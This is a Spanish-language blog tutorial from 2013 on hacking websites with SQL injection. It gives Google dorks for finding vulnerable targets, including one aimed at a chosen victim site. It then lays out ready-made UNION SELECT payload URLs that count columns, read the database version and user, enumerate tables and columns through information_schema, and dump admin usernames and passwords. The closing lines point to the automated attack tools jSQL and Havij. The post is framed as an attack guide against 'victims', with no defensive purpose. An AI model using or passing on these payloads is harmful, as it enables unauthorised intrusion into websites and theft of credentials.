Hackear Página Web con SQL Injection | Tutorial Paso a Paso ~ APK Hacks | Para expertos y principiantes!

4 de diciembre de 2013

Que es un ataque de inyección SQL?  Un ataque SQL injection es uno de los métodos mas populares y efectivos al momento de hackear una pagina web o obtener privilegios de administrador en un servidor. Explotando correctamente esta vulnerabilidad, una persona puede ganar acceso a la base de datos de una pagina web sin estar autorizado para ello. Una vez concedido el acceso, tendrá control total sobre la base de datos de la víctima.

Para que sirve? Que se puede hacer con esto?

  • ByPass Login de administrador
  • Acceder a toda la información de la pagina
  • Modificar los contenidos de la pagina
  • Apagar o deshabilitar el servidor My SQL

SQL Injection Tutorial Paso a Paso:

1. Encontrar Pagina Vulnerable a SQL Injection

Para encontrar un sitio vulnerable, la forma mas fácil es utilizar Google y buscar con ciertos parámetros. Estos parámetros se llaman "Google Dorks"

Ejemplos:
inurl:index.php?id=
inurl:galeria.php?id=
inurl:articulo.php?id=
inurl:pageid=


NOTA: Si queremos hackear una pagina en particular usamos:


site:www.victima.com inurl:index.php?id=

Para mas Dorks les dejo una lista con miles de ellos aquí: "Google Dorks"

Lo que tenemos que hacer ahora es elegir alguno que nos guste y pegarlo en el cuadro de búsqueda de Google como si estuviéramos haciendo una búsqueda común, y le damos a buscar. Obtendremos algo como esto:



Ahora elegimos una y procedemos con el siguiente paso

2. Comprobar la vulnerabilidad SQL:

Para comprobar que la pagina es definitivamente vulnerable a SQL injection lo que tenemos que hacer es agregar un simple ' en lugar del valor al final de nuestra url y darle enter. Ejemplo:

http://www.victima.com/index.php?id=2'

Si al cargar esta dirección nos da un error como este, o nos aparece una pagina en blanco, la pagina es vulnerable y podemos proceder con el ataque. Ejemplo de error:


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Si la pagina se carga igual que antes, esto quiere decir que no es vulnerable y no podremos seguir con el ataque.

3. Averiguar el numero de columnas en la base de datos SQL:

Ahora que ya sabemos que nuestra pagina es vulnerable, lo siguiente es averiguar la cantidad de columnas que posee la base de datos.
Para ello realizamos lo siguiente:

Reemplazamos el apostrofe ' que habíamos puesto antes con "order by x". Y a esta X la reemplazamos por un valor numérico comenzando desde el 1 y así continuamente, 1,3,4,5,5,6,7...
Ejemplo:

http://www.victimsite.com/index.php?id=2 order by 1
http://www.victimsite.com/index.php?id=2 order by 2
http://www.victimsite.com/index.php?id=2 order by 3
http://www.victimsite.com/index.php?id=2 order by 4

Tendremos que realizar esto hasta que con algún numero "X" nos devuelva un error como el anterior. Si con un numero "X" nos devuelve error, esto quiere decir que el numero de columnas es X-1 Para hacerlo mas rápido podemos ir marcando  zonas, probamos primero con 50, si nos devuelve error quiere decir que el primer numero que nos devolverá error (que es el que estamos buscando) esta entre el 1 y el 50, y así sera mas fácil y rápido encontrarlo 
Ejemplo:


http://www.victima.com/index.php?id=2 order by 1 (Sin Error)
http://www.
victima.com/index.php?id=2 order by 2 (Sin Error)
http://www.
victima.com/index.php?id=2 order by 3 (Sin Error)
http://www.
victima.com/index.php?id=2 order by 4 (Sin Error)
http://www.
victima.com/index.php?id=2 order by 5 (Sin Error)
http://www.
victima.com/index.php?id=2 order by 6 (Sin Error)
http://www.
victima.com/index.php?id=2 order by 7 (Sin Error)
http://www.
victima.com/index.php?id=2 order by 8 ( Error )

En este caso, si con el numero 8 obtenemos un Error, el numero de columnas sera 8-1=7. El numero de columnas es 7 

NOTA. En caso de que después de probar con muchos números y no obtener ningún error reemplazamos el método anterior con lo siguiente y realizamos el mismo procedimiento:


http://www.victima.com/index.php?id=2 order by 1--

4.  Encontrar la Columna Vulnerable:

Para esto, lo primero que tenemos que hacer es reemplazar el numero después de = por el mismo numero pero en negativo.
Ejemplo:

http://www.victima.com/index.php?id=-2

Luego de hacer esto agregamos el siguiente código a continuación del numero anterior junto con una secuencia de números que valla desde el 1 hasta el numero de columnas que encontramos anteriormente que en mi caso fue
Nos quedaría algo así:


http://www.victimsite.com/index.php?id=-2 union select 1,2,3,4,5,6,7--

Cuando carguemos esta dirección, nos devolverá un numero o un par de números que van a ser el numero de columnas que son vulnerables. En caso de ser mas de uno, procederemos a usar el primero. 
Nos devolverá algo como esto:



En este caso, la columna vulnerable es la numero 3 y la 7

Aunque sean dos las columnas vulnerables, solo utilizaremos una, yo voy a utilizar la numero 3. Esto nos servirá para saber donde insertar nuestro código en el siguiente paso.

5. Averiguar Versión SQL, Base de Datos y Usuario:

Para averiguar estos datos, lo que tenemos que hacer es reemplazar el numero de la columna vulnerable, en mi caso el numero 3, por los siguientes códigos. Cada uno nos mostrará un resultado diferente el cual tenemos que anotar ya que dependiendo de los resultados procederemos de distintas maneras.
Los códigos que tenemos que poner en lugar del 3 (numero de columna vulnerable) son:

version()
database()
user() 

Nos quedara algo como esto: 


http://www.victima.com/index.php?id=-2 and 1=2 union select 1,2,version(),4,5,6,7--
Esto nos dará la versión de la base de datos SQL. Ejemplo: 5.0.1


http://www.victima.com/index.php?id=-2 and 1=2 union select 1,2,database(),4,5,6,7--
Esto nos devolverá el nombre de la base de datos actual  


http://www.victima.com/index.php?id=-2 and 1=2 union select 1,2,user(),4,5,6,7--
Y esto el nombre de usuario de la base de datos 

NOTA: Si el método anterior no les funciona, prueben con este:


http://www.victima.com/index.php?id=-2 and 1=2 union select 1,2,unhex(hex(@@version)),4,5,6,7--

6. Averiguar el Nombre de las Tablas dentro de la Base de Datos:

Si en el paso anterior obtuvimos como resultado de la versión de la base de datos una versión mayor o igual a 5.0.0, son buenas noticias ya que esto quiere decir que no vamos a tener que adivinar las tablas y las obtendremos sin ningún problema. En caso de que la versión sea menor a 5, vamos a tener que usar un método que se llama "Blind SQL Injection" para adivinar las tablas que explicaré en otro post.

Ahora, si nuestra versión es mayor a 5, vamos a continuar con la obtención de tablas, para ello vamos a reemplazar el 3 (en tu caso el numero de columna vulnerable obtenido anteriormente con lo siguiente:

group_concat(table_name)

Y al final de todo vamos a agregar esto: 


from information_schema.tables where table_schema=database()

Nos quedará algo como esto: 


http://www.victima.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()--

Cargamos la pagina, y obtendremos todas las tablas en la base de datos actual. Lo que hay que hacer ahora es buscar alguna tabla que tenga información interesante para obtener sus datos (principalmente tablas que puedan contener información de usuarios y admins)


En mi caso, yo elegire la tabla "admin"

7. Averiguar el nombre de las columnas de la tabla elegida anteriormente:

Lo que haremos ahora sera reemplazar el "from information_schema.tables where table_schema=database()--" por "FROM information_schema.columns WHERE table_name=mysqlchar--"

Nos quedara algo como esto:

http://www.victima.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name=mysqlchar--

Pero como verántodavía hay una parte en rojo la cual tenemos que reemplazar por el nombre de la tabla que elegimos anteriormente (en mi caso "admin") convertido a MySQL CHAR(). 

Convertir nombre de tabla a MySQL CHAR():

Para esto, nos vamos a Mozilla Firefox y instalamos el add-on HackBar, el cual pueden descargar de aquí: https://addons.mozilla.org/en-US/firefox/addon/3899/

Una vez descargado y reiniciado Mozilla, van a ver una barra de herramientas en la parte superior debajo de la barra de direcciones.

Ahora, vamos a SQL->Mysql->MysqlChar() 


Ponemos el nombre de la tabla que queremos convertir y le damos a OK:


A continuación vamos a ver nuestra tabla ya convertida a MySQL CHAR():


Lo que tenemos que hacer ahora que ya tenemos convertido el nombre de nuestra tabla es reemplazar la linea en rojo de la URL anterior (mysqlchar) por nuestra tabla convertida.
Nos quedará algo como esto:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)--

Le damos a enter y obtendremos una lista con todas las columnas de la tabla. 
Ejemplo: 


admin,password,admin_id,admin_name,admin_password 
active,id,admin_name,admin_pass ​ 
admin_id,admin_name,admin_password,ID_admin 
admin_username,username,password, etc...

Ahora, para obtener los datos de las columnas obtenidas tenemos que hacer lo siguiente: 

Primero reemplazamos "group_concat(column_name)" por "group_concat(columna1,0x3a,columna2)" donde reemplazaremos columna1 y columna2 por dos columnas a eleccion. Por ejemplo: "group_concat(admin,0x3a,password)"

Luego, tenemos que reemplazar "from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)" por "from nombre_de
_tabla" donde "nombre_de
_tabla" va a ser la tabla que elegimos anteriormente pero sin convertir a MySQL CHAR().

Nos quedara algo como esto:

http://www.victima.com/index.php?id=-2 
and 1=2 union select 1,2,group_concat(admin_id,0x3a,password),4,5,6,7 from admin--

Ejecutamos, y con suerte obtendremos los datos de las columnas que seleccionamos, en este caso, obtendremos las credenciales de Administrador tanto Usuario como Contraseña que nos darán acceso completo al servidor.

8. Encontrar Pagina del panel de Administrador para acceder a la base de datos con las credenciales obtenidas anteriormente con SQL injection:

La forma mas fácil y rápida de hacer esto es utilizando una herramienta automatizada como jSQL explicada aquí: http://apk-hacks.blogspot.com.ar/2013/11/jsql-herramienta-sql-automatica.html

Una alternativa es usar Havij que puedes encontrar aqui: http://www.itsecteam.com/products/havij-advanced-sql-injection/








Powered by KikBooks Widget